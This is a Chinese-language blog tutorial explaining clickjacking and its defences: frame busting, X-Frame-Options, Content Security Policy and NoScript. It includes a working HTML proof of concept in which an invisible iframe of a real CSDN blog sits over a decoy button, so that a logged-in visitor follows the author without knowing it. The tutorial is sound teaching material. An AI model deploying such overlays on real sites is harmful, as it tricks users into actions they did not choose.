当前位置:   article > 正文

网络安全-点击劫持(ClickJacking)的原理、攻击及防御

点击劫持

目录

简介

原理

攻击

防御

frame busting

X-Frame-Options

Content Security Policy

NoScript扩展

拓展

参考


简介

2008年,安全专家Robert Hansen 与Jeremiah Grossman发现了一种被他们称为点击劫持(ClickJacking)的攻击。他们准备在OWASP安全大会上公布并进行演示,但是由于很多平台都中了招,包括Adobe在内的厂商要求在漏洞修补前不要公开此问题。

原理

点击劫持是视觉欺骗,用户只看到了底层页面,与页面进行交互时却是与上层页面在交互。这是由于透明的iframe造成的,通过控制iframe的位置,导致上层页面的按钮等覆盖到下层上。

点击劫持,原理示意图

注:红色按钮(上层页面中的)应该是完全覆盖在黄色按钮(底层页面中的),由于看的不是很清楚,我稍微错位了一下。

攻击

  1. <html>
  2. <head>
  3. <title>
  4. 来和鹿鸣Lumi互动吧!!!
  5. </title>
  6. <head>
  7. <style>
  8. iframe {
  9. width: 1440px;
  10. height: 900px;
  11. position: absolute;
  12. top: 30px;
  13. left: 450px;
  14. z-index: 2;
  15. -moz-opacity: 0;
  16. opacity: 0;
  17. filter: alpha(opacity=0);
  18. }
  19. </style>
  20. </head>
  21. </head>
  22. <body>
  23. <center>
  24. <div>
  25. <img src="https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=1242777858,3501957407&fm=11&gp=0.jpg" height="60%">
  26. <br>
  27. <button>点击进行互动</button>
  28. </div>
  29. </center>
  30. <iframe src="https://blog.csdn.net/lady_killer9" scrolling="no"></iframe>
  31. </body>
  32. </html>

opacity为0.5,即上层页面为半透明状态。

opacity为0.5时

可以看到关注按钮覆盖在了下方的点击进行互动按钮上。

opacity为0时

 此时,上层页面完全无法看见,这时如果你登录csdn后点击"点击进行互动"按钮,就会关注我。

防御

frame busting

js编写的,防御效果不好,可绕过。

X-Frame-Options

部分浏览器支持

DENY:禁止iframe,浏览器拒绝当前页面加载任何iframe页面。
SAMEORIGIN:只允许相同域名下的网页iframe,同源政策保护。
ALLOW-FROM: 白名单限制。

Content Security Policy

"网页安全政策"(Content Security Policy,缩写 CSP),一种白名单制度。

NoScript扩展

火狐官方回答

拓展

除了这种点击劫持,还有拖拽劫持,手机端触屏劫持,原理都一样。

参考

《白帽子讲Web安全》

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/560413
推荐阅读
相关标签
  

闽ICP备14008679号